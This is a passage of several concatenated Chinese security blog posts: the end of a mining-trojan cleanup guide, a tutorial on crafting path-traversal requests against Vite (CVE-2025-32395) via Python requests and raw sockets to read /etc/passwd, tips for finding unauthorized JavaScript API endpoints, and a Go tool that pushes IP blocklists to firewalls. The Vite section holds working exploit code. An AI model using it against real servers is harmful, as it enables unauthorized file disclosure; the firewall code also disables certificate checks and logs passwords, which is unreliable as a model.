    • 及时更新系统和软件补丁,修复已知漏洞。
    • 禁用不必要的服务和端口,减少攻击面。
    • 使用强密码策略,避免弱密码。
  2. 网络加固:


    • 部署防火墙和IDS/IPS,监控异常流量。
    • 限制外部访问,仅开放必要的端口和服务。
    • 使用VPN等安全通道访问内网。
  3. 安全监控:


    • 部署安全监控系统,实时监控系统资源使用情况。
    • 定期检查系统日志,发现异常及时处置。
    • 使用威胁情报平台,及时获取最新的攻击信息。
  4. 备份与恢复:


    • 定期备份重要数据,确保数据安全。
    • 制定应急响应预案,确保快速恢复业务。

5.4 参考工具

| 工具名称 | 用途 |
| ----------------------------- | ---------------------------------------- |
| Wireshark | 网络流量分析工具,用于分析异常流量。 |
| Process Explorer | 进程管理工具,用于分析可疑进程。 |
| Sysinternals Suite | 系统分析工具集,用于分析系统行为和进程。 |
| VirusTotal | 在线病毒扫描工具,用于分析可疑文件。 |
| Threat Intelligence Platforms | 威胁情报平台,用于获取最新的攻击信息。 |


以上为清理病毒程序方式,后续还需使用终端杀毒对系统进行全面杀毒及加固,并观察是否还有反复迹象。

一切以挖矿木马不再重启,不存在可疑外连为止。

一 正常发包

刚好最近有个热门的漏洞Vite系列的漏洞,通过该漏洞我们来学习一下
通过我们用python写POC的时候,我们大部分都是利用python的request的模块来进行发包利用的
正常情况下都是这样写的POC

 response = requests.get(url_base + "/@fs/root/vite-project/?/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

其中我们的路径要是比较正常的时候我们通过request模块发包的时候,我们就是能够正常把这个路径发出去的,我们通过bp抓包验证一下

1698X670/image.png

可以看到bp抓到的路径和我们想发出去的路径是一样的,接下来我们假设我们需要发送的路径是这样的

    response = requests.get(url_base + "/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)

再次使用request模块发包的时候,用bp抓包看下

1701X696/image.png


二 进阶发包技巧

我们在bp中抓到的包的路径就是变成了"/etc/passwd?import&?raw","/../../"在requests中会被吞噬掉,导致我们无法完成利用,这也是在写POC中经常不注意到的一个点,明明手工利用的是时候可以利用,怎么写脚本的时候不行呢,这种时候就可以bp抓包看看想要发送的数据包是不是跟抓到的一样啦。像这种利用的路径,我们还是得用python来实现时怎么实现呢,干货来了

    check_url=url_base + "/../../../../../etc/passwd"
    s = requests.Session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,)
    print result.text

注意别使用bp代理抓包,经过bp后发送出去的包也是会被吞噬掉“/../../",我们直接通过wireshark捕获流量验证一下

1660X603/image.png

可以看到wireshark发包是能正常刚才的方法把这个路径发送出去的"/../../../../../etc/passwd"

而正常的request模块发包模块则变成了"/etc/passwd?import&?raw"

三 高阶发包技巧

接下来我们来看这个漏洞Vite 文件读取漏洞(CVE-2025-32395)
看官方的POC是这种形式的


"/@fs/root/vite-project/#/../../../../../etc/passwd"

路径中带了#,我们用刚才的两种方式发包测试一下

    方式1:
    lin_response = requests.get(url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd", proxies=proxies,verify=False,headers=headers)
    方式2:
    check_url=url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd"
    s = requests.session()
    r = requests.Request(method='GET', url=check_url)
    prep = r.prepare()
    prep.url = check_url
    result = s.send(prep, verify=False, timeout=10,proxies=proxies)
    print result.text

通过bp代理和wireshark抓包看下,抓到的包的路径都变成了/@fs/root/vite-project,"/#/../../../../../etc/passwd"这个路径都丢失了,这是因为根据 RFC 3986 标准,# 在 URL 中定义为 片段标识符(Fragment),浏览器和 HTTP 客户端库(如 requests)会默认将其后的内容截断,不会发送到服务端,这意味着:若 # 不编码,其后的路径永远无法到达服务端。所以这个无法通过requests相关脚本来实现

876X655/image.png

2140X373/image.png

接下来就得使用我们的最后一个终极大法了,绕过 HTTP 协议限制,使用原始 Socket 控制:直接通过 socket 库发送字节流,避免高级 HTTP 库(如 urllib2 或 requests)自动处理 #

通过wireshark抓包,看下我们的路径已经完整发出去了,服务器也能完成处理

2401X357/image.png

通过回显,我们也能看到漏洞能完成利用

1288X432/image.png

关键代码如下

    import socket
    from urlparse import urlsplit
    parsed_url = urlsplit(url_base)
    netloc = parsed_url.netloc
    paths = ["/@fs/root/vite-project/#/../../../../../etc/passwd"]
    if ':' in netloc:
        host, port = netloc.split(':', 1)
        port = int(port)
    else:
        host = netloc
        # 根据协议设置默认端口
        if parsed_url.scheme == 'http':
            port = 80
        elif parsed_url.scheme == 'https':
            port = 443
        else:
            port = None
    for path in paths:
        request = (
            "GET {path} HTTP/1.1\r\n"
            "Host: {host}:{port}\r\n"
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).format(path=path, host=host,port=port)
        # 发送请求
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.sendall(request.encode())
        # 接收响应
        response = s.recv(4096)
        if "root:x" in response.decode():
            print url_base,path,response.decode()

四 后言

各位还有什么技巧可以分享交流一下的么,大家一起共同进步

0x1 前言

哈喽,师傅们!

这次又来给师傅们分享我的文章心得了呦,这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总,然后也是会给师傅们分享几个案例,带师傅们更加深刻的理解和看的懂这个js未授权,然后再带师傅们去挖这个漏洞,从怎么挖去带师傅们掌握这个js未授权。

然后特别是给一些不会挖漏洞,然后针对于FindSomething插件工具的使用来做一个分享,让师傅们对呀FindSomething插件的使用更加娴熟,能够更好的利用这个插件,然后让师傅们挖出属于自己的第一个js未授权漏洞!

0x2 js未授权简介

一、什么是未授权?

首先理解什么是未授权漏洞
未授权字面上理解是未获得授权,对于正常的业务来说,有些功能点需要经过登录之后才能进行,那么如果我们通过一些绕过,无需登录也可以完成此类操作,那么便是未授权访问漏洞了。

二、常见的未授权访问漏洞

常见的未授权漏洞一般分为两种:

  1. 组件类的,如js未授权、redis未授权、mongodb未授权等,也是比较常见的。对于此类漏洞,可以理解为不需要登录即可执行里面的功能,所以存在未授权漏洞。
  2. WEB层面的,如某某CMS未授权文件上传、未授权创建账号、findsomething接口拼接未授权访问敏感信息泄露等。因为可以绕过登录限制进行操作,所以存在未授权访问漏洞。

三、浅谈

未授权访问的挖掘不是针对所有网站,这只是一种思路,通过信息收集来实现登录绕过,从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过,前提是不知道网站代码的判断情况下,可以尝试猜解返回值。如果网站后端认证做好了,是不会有该漏洞的。

0x3浅谈 js未授权挖掘技巧

一、常规js未授权挖掘

这里就要和师傅们分享下我之前在没有认真研究js未授权的时候,喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路,就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开,然后把里面的泄露的路径进行拼接使用,然后直接拿bp进行POST/GET方法都进行跑一遍,然后再看看有没有什么js路径拼接,然后导致的敏感信息泄露。

然后把插件泄露的js路径保存到一个txt文件夹里面

然后简单的进行GET/POST跑下

然后跑完以后会发现,怎么还是没跑出什么东西来,然后就这样觉得这个js路径很安全,没有漏洞,直接下了

Google插件FindSomething下载链接:https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb

二、使用findsomething插件工具的目的

为了寻找隐藏的接口

JS中存在一些网址或接口信息,特别是隐藏的一些信息,也就是UI中没有的,这些隐藏的 接口很有可能存在各种常见的漏洞,例如越权,未授权等。

如果我们通过JS中的信息构造出完整的隐藏接口和传参,就有可能发现极其隐蔽的漏洞

三、js未授权挖掘小技巧分享

师傅们来看下下面的这个接口,是不是可以看到存在一个id参数,那么你要是直接把这个复制下来,然后去使用bp跑,是不是再怎么跑都跑不出什么信息泄露

然后还有就是下面的这个js接口,findsomething显示出来的接口,一个?id=xxx的一个参数,像碰到这样的,我们是不是得提前进行一个数据的处理,然后再放到bp去跑接口,才会最大可能性让你找到一些敏感信息泄露的接口,这样就是有些师傅挖不到js未授权的漏洞,但是有些师傅却可以的原因之一了

还有下面的这种情况,就是跑js路径的时候,需要我们注意前面是否有前缀

像上面的存在一个#的路径,建议是师傅们单独把这些js路径给拿出来,进行一个手动拼接尝试看看未授权,或者说要爆破,那也得把这个/#/这个给带上,然后再进行一个爆破,下面简单来拿百度的给师傅们看看这个案例

下面可以把findsomething的url复制到一个txt文本里面,然后进行替换如下:

四、查询接口的未授权访问测试奇招

就是我们平常在测试漏洞的时候,有时候不传参,或者在参数置空,发包的时候,对方服务器返回的请求是500的时候,那么有时候使用下面的参数进行一个传参,把这个给加上去,那么有时候会有一个不一样的效果,有时候就能返回一些高权限才可以看的内容

{
"pageNum":"1",
"pageSize":"100"
}


{
"pageNo"1",
"pageSize":100,
}

五、HAE匹配规则

下面是我给师傅们整理的HAE正则匹配,直接使用bp中的hae插件,把下面的规则直接导入到bp插件hae中,或者编辑Rules.yml文件

type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params

0x4 总结

针对js未授权漏洞的一个分享呢就到这里文章就结束了,希望这篇文章对师傅们有帮助。

师傅们在挖掘企业src或者edu过程中,这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲,特别是针对小白师傅们是非常友好的,也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘,这样可以让师傅们更加掌握这个技能,也是希望师傅们偶尔挖挖漏洞,然后赚点赏金什么的。

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!

前言

最近刚结束了一个HVV蓝队,比较头疼,甲方内部设备简直太多了,目前各个大厂都是这么玩儿的,本地MSS不好好适配不同厂家的产品,弹起来适配的问题最好的借口就是需要开发介入调整适配,不单单是在适配不同厂商的防火墙上扯皮还是在适配不同厂商探针上同样扯皮,有这扯皮功夫还不如直接写个工具一键封禁得了。其实就目前防守状态来讲,通过告警事件联动不同区域的防火墙这种技术手段太简单了,本地MSS在态感的基础上优化剧本再加上GPT介入研判已经基本上可以解决绝大部分的告警攻击了,可能目前唯一的问题可能就是出现在厂商态感底层告警逻辑上,目前探针获取的流量也只能获取非SSL流量,不做SSL卸载或者SSL证书解密的话一部分告警是无法获取的,另外常见的横向行为和隐藏流量也只能基于厂商设备底层逻辑或者剧本编排。

这次的工具功能是封禁共享情报的ip,或者是基于不同边界的不同品牌的防火墙和WAF的封禁。

下载地址:

功能介绍

  • 支持多种防火墙设备统一管理(H3C,QAX,SXF,山石,K01,DP等)
  • 网防K01提供黑名单批量查询、添加、删除功能
  • 支持 IP 规则化、过滤、清洗等功能
  • 界面简洁,操作便捷,可以选择性的根据不同的情报源头选择不同边界的设备进行封禁
  • 关于产品型号可支持大部分型号,除网防K01外其它产品封禁实现原理是基于添加地址到地址簿,封禁策略需手动处理

工具介绍和代码逻辑

配置文件

配置文件存放在config/config.json中,需要提前配置json文件,负责无法使用程序。这里关于config的文件内容务必按照格式规则设置,否则无法解析。

DP防火墙

DP防火墙的登录方式是telnet,逻辑是通过添加ip地址进入地址簿,添加ip地址

package devices

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type DPConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToDP(cfg DPConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 DP 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里没有直接使用回显显示状态,没有监听服务器回显状态再输入命令,具体使用该方式是新增一个地址簿,再策略位置设置封禁策略,引用添加的地址簿即可。界面效果

H3c防火墙

采用ssh登录使用命令操作

package devices

import (
	"fmt"
	"strings"
	"time"

	"golang.org/x/crypto/ssh"
)

func AddIPsToH3C(cfg H3CConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 H3C 设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         10 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动 shell 失败: %v\n", err)
	}

	commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(300 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里采用了监听回显,核心代码是

commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

当然这里可以增加优化,代码内关于ip地址的添加以及删除等操作都可以做,工具后期可以依托命令功能增加多个模块化设计,当然为了降低操作风险的话,这里黑名单封禁的操作足够使用了。

山石防火墙

山石登录方式是telnet登录使用命令操作

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type HSConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToHillstone(cfg HSConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 Hillstone 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

山石防火墙的命令基本和华三防火墙的命令基本一致,目前基本上可以支持大多数版本型号的防火墙,使用前可以做测试。

网盾K01

网盾K01的话这里采用的是关于api的利用,目前关于网盾K01的黑名单添加的模式是和防火墙不一致的,可以采用接口的方式增加。目前代码中关于黑名单添加的事件设置的是3600小时。

// 批量封禁
func AddBlacklist(devices []K01Device, ips []string, output *widget.Entry) {
	for _, device := range devices {
		appendOutput(output, fmt.Sprintf("🔑 正在登录设备 [https://%s]...", device.IP))

		// 登录并获取 Token
		url := fmt.Sprintf("https://%s", device.IP)
		token := Login(url, device.Username, device.Password, output, device.Name)
		if token == "" {
			appendOutput(output, fmt.Sprintf("❌ 登录失败: %s", device.Name))
			continue
		}

		// 逐个 IP 添加到黑名单
		for _, ip := range ips {
			// 如果 IP 地址没有 CIDR 后缀,添加 "/32"
			if !strings.Contains(ip, "/") {
				ip += "/32"
			}

			// 打印调试日志,确认每个 IP 地址
			appendOutput(output, fmt.Sprintf("🔍 封禁 IP: %s", ip))

			// 准备请求 payload
			payload := map[string]interface{}{
				"color":       0,
				"device_mask": []int{224},
				"items": []map[string]interface{}{
					{
						"type":        0,
						"ip":          ip, // 这里单独封禁每个 IP 地址
						"timeout":     336,
						"time_type":   "3600",
						"device_mask": []int{224},
						"comment":     "自动封禁",
					},
				},
				"method": "add",
			}

			// 打印调试日志,确认请求 Payload
			payloadBytes, _ := json.Marshal(payload)
			// appendOutput(output, fmt.Sprintf("🔍 请求 Payload: %s", string(payloadBytes)))

			// 请求封禁
			req, err := http.NewRequest("POST", url+"/api/v1/security/iplist/save", bytes.NewBuffer(payloadBytes))
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 创建封禁请求失败: %s", err.Error()))
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 执行请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 封禁请求失败: %s", err.Error()))
				continue
			}
			defer resp.Body.Close()

			// // 打印调试日志,确认响应代码
			// appendOutput(output, fmt.Sprintf("🔍 响应状态: %s", resp.Status))

			// 解析响应
			body, _ := ioutil.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(output, fmt.Sprintf("❌ 解析封禁响应失败: %s", err.Error()))
				continue
			}

			// // 打印调试日志,确认响应结果
			// appendOutput(output, fmt.Sprintf("🔍 响应结果: %v", result))

			// 根据结果显示成功或失败
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(output, fmt.Sprintf("✅ 添加成功: %s", ip))
			} else {
				appendOutput(output, fmt.Sprintf("❌ 添加失败: %v", result["msg"]))
			}
		}
	}
}

// DeleteBlacklist 删除 IP 从黑名单
func DeleteBlacklist(devices []K01Device, selected []int, ipList []string, outputBox *widget.Entry) {
	for _, idx := range selected {
		device := devices[idx] // 获取当前选择的设备
		url := fmt.Sprintf("https://%s", device.IP)

		// 输出正在登录设备信息
		appendOutput(outputBox, fmt.Sprintf("🔄 正在登录设备【%s】...", device.Name))

		// 登录设备,获取 token
		token := Login(url, device.Username, device.Password, outputBox, device.Name)
		if token == "" {
			appendOutput(outputBox, fmt.Sprintf("❌ 设备【%s】登录失败,无法删除黑名单", device.Name))
			continue
		}

		// 遍历 IP 列表,直接进行删除操作
		for _, ip := range ipList {
			apiUrl := fmt.Sprintf("%s/api/v1/security/iplist/save", url)
			payload := fmt.Sprintf(`{
				"color": 0,
				"items": [{"id": "%s/32;0;0", "type": 0, "ip": "%s/32", "device_mask": [224]}],
				"method": "delete"
			}`, ip, ip)

			// 创建请求
			req, err := http.NewRequest("POST", apiUrl, bytes.NewBuffer([]byte(payload)))
			if err != nil {
				appendOutput(outputBox, "❌ 创建删除请求失败: "+err.Error())
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 发送请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(outputBox, "❌ 删除请求失败: "+err.Error())
				continue
			}
			defer resp.Body.Close()

			// 读取响应
			body, err := ioutil.ReadAll(resp.Body)
			if err != nil {
				appendOutput(outputBox, "❌ 读取删除响应失败: "+err.Error())
				continue
			}

			// 解析响应
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(outputBox, "❌ 解析删除响应失败: "+err.Error())
				continue
			}

			// 检查删除是否成功
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(outputBox, fmt.Sprintf("✅ 删除成功,IP: %s", ip))
			} else {
				// 如果失败,输出错误信息
				if msg, ok := result["msg"].(string); ok {
					appendOutput(outputBox, fmt.Sprintf("❌ 删除失败: %s", msg))
				} else {
					appendOutput(outputBox, "❌ 删除失败,未知错误")
				}
			}
		}
	}

关于api的调用的话是有其自己的参数规则的,因为认证方式是https,所以关于身份认证的话需要忽略ssl证书。因为考虑到删除函数的逻辑需先查询要封禁的黑名单是否在黑名单列表,所以这里就执行的是直接删除,否则就删除失败,但是对于功能性的查询模块的功能是有的,由于网盾k01的产品特性,一点发现全网阻断,所以这里基本上用不到删除黑名单的功能。

QAX网神防火墙

网神联动利用的是ssh登录执行命令,所以这里权限也相对来说比较大,对于蓝队来讲不建议增加其它代码功能,原理也是利用策略引用地址簿进行封禁

func AddIPsToQAX(cfg QAXConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置奇安信设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         15 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动shell失败: %v\n", err)
	}

	commands := []string{
		"config terminal",
		fmt.Sprintf("object address %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network %s 32", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

向地址簿中添加ip地址核心代码

commands := []string{
	"config terminal",
	fmt.Sprintf("object address %s", cfg.AddressGroup),
}
for _, ip := range ips {
	commands = append(commands, fmt.Sprintf("network %s 32", ip))
}
commands = append(commands, "exit")

目前我也是查询了多款网神防火墙的手册,关于地址簿添加这块儿的命令版本是没有变化的,基本上支持大多数版本型号。

SXF_AF和WAF

这里SXF的设备是有两种模式可供选择的,但是目前SXF的ssh登录一般是由两段密码组成还有可能经常性的修改,所以这里使用的API的方式向地址簿中添加要封禁的IP地址,但是这里的话,策略务必要配置正确。

// 新增的结构体,用于表示包含 devices 字段的 JSON 数据结构
type DeviceList struct {
	Devices []SXFDevice `json:"devices"`
}

// 登录响应结构体
type loginResponse struct {
	Code int `json:"code"`
	Data struct {
		LoginResult struct {
			Token string `json:"token"`
		} `json:"loginResult"`
	} `json:"data"`
	Message string `json:"message"`
}

// 添加 IP 请求结构体
type ipRange struct {
	Start string `json:"start"`
}

type addIPRequest struct {
	IPRanges []ipRange `json:"ipRanges"`
}

// ✅ 防冲突:明确为 SXF 的登录函数
// 登录获取 token
func SXFLogin(device SXFDevice) (string, error) {
	// 打印设备信息,确保 IP、用户名和密码正确
	fmt.Printf("设备信息: IP=%s, Username=%s, Password=%s\n", device.IP, device.Username, device.Password)
	url := fmt.Sprintf("https://%s/api/v1/namespaces/public/login", device.IP)

	payload := map[string]string{
		"name":     device.Username,
		"password": device.Password,
	}
	jsonData, _ := json.Marshal(payload)

	client := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
	}
	resp, err := client.Post(url, "application/json", bytes.NewBuffer(jsonData))
	if err != nil {
		return "", fmt.Errorf("登录请求失败: %v", err)
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)

	// 打印响应内容进行调试
	fmt.Println("响应体内容:", string(body))

	var result struct {
		Code    int    `json:"code"`
		Message string `json:"message"`
		Data    struct {
			LoginResult struct {
				Token string `json:"token"`
			} `json:"loginResult"`
		} `json:"data"`
	}

	if err := json.Unmarshal(body, &result); err != nil {
		return "", fmt.Errorf("解析登录响应失败: %v", err)
	}

	// 检查返回的 code
	if result.Code != 0 {
		return "", fmt.Errorf("登录失败: %s", result.Message)
	}

	// 返回 token
	return result.Data.LoginResult.Token, nil
}

// 加载 JSON 文件并解析为设备切片
// 加载 JSON 文件并解析为设备切片
func loadSXFDevices(filePath string) ([]SXFDevice, error) {
	data, err := os.ReadFile(filePath)
	if err != nil {
		return nil, fmt.Errorf("设备配置文件加载失败: %v", err)
	}

	// 输出加载的 JSON 数据(用于调试)
	fmt.Printf("加载的 JSON 数据: %s\n", string(data))

	var devices []SXFDevice
	err = json.Unmarshal(data, &devices)
	if err != nil {
		return nil, fmt.Errorf("设备解析失败: %v", err)
	}

	// 输出解析后的设备信息(调试)
	fmt.Printf("加载的设备数量: %d\n", len(devices))
	for _, device := range devices {
		// 输出每台设备的详细信息,特别是 AddressGroup 字段
		fmt.Printf("设备信息:Name=%s, IP=%s, AddressGroup=%s\n", device.Name, device.IP, device.AddressGroup)
	}

	return devices, nil
}

// ✅ 添加多个 IP 到 SXF 地址组(支持日志回调)
// 在 AddToSXFBlacklist 函数内部,确保请求头正确设置
// 设备添加到黑名单的函数
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
// 添加多个 IP 到 SXF 地址组(支持日志回调)
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
func AddToSXFBlacklist(devices []SXFDevice, ips []string, logFn func(string)) error {

	for _, device := range devices {
		// 1. 登录
		token, err := SXFLogin(device)
		if err != nil {
			logFn(fmt.Sprintf("【%s】❌ 登录失败: %v", device.Name, err))
			continue
		}
		logFn(fmt.Sprintf("【%s】✅ 登录成功", device.Name))

		// 2. 添加每个IP
		for _, ip := range ips {
			ipRanges := []map[string]string{{"start": ip, "end": ip}}
			requestData := map[string]interface{}{"ipRanges": ipRanges}
			requestDataJSON, _ := json.Marshal(requestData)

			// 3. 发送请求
			url := fmt.Sprintf(
				"https://%s/api/v1/namespaces/public/ipgroups/%s?_arrayop=add",
				device.IP,
				device.AddressGroup,
			)
			req, _ := http.NewRequest("PATCH", url, bytes.NewBuffer(requestDataJSON))
			req.Header = http.Header{
				"token":        []string{token},
				"Content-Type": []string{"application/json"},
			}

			client := &http.Client{
				Transport: &http.Transport{
					TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
				},
			}
			resp, err := client.Do(req)
			if err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %v", device.Name, ip, err))
				continue
			}
			defer resp.Body.Close()

			// 4. 处理响应
			body, _ := io.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 响应解析失败: %v", device.Name, ip, err))
				continue
			}

			if code, ok := result["code"].(float64); ok && code == 0 {
				logFn(fmt.Sprintf("【%s】✅ IP %s 已添加到地址组[%s]",
					device.Name, ip, device.AddressGroup))
			} else {
				msg, _ := result["message"].(string)
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %s", device.Name, ip, msg))
			}
		}
	}
	return nil
}

如果想要扩展功能的话不建议使用API去扩展,毕竟太麻烦了,各种参数比较麻烦,没有ssh的方式登录使用命令操作简便。

整体界面效果

总结

其它厂商的防火墙确实没找到手册,有的是找到手册没有测试的设备,目前上述的设备和代码是完全没有问题的,如果想添加其它厂商的设备,可以给我操作手册,我这边更新新版本发布。每次更新后的授权时间是3个月

前言

刚好有机会接触到卫生行业的运维赛,这里只有机会接触到测试赛,简单谢谢wp吧,测试赛的话主办方也是用心了的,难度的话相比较决赛的内容还是比较简单的。

题目

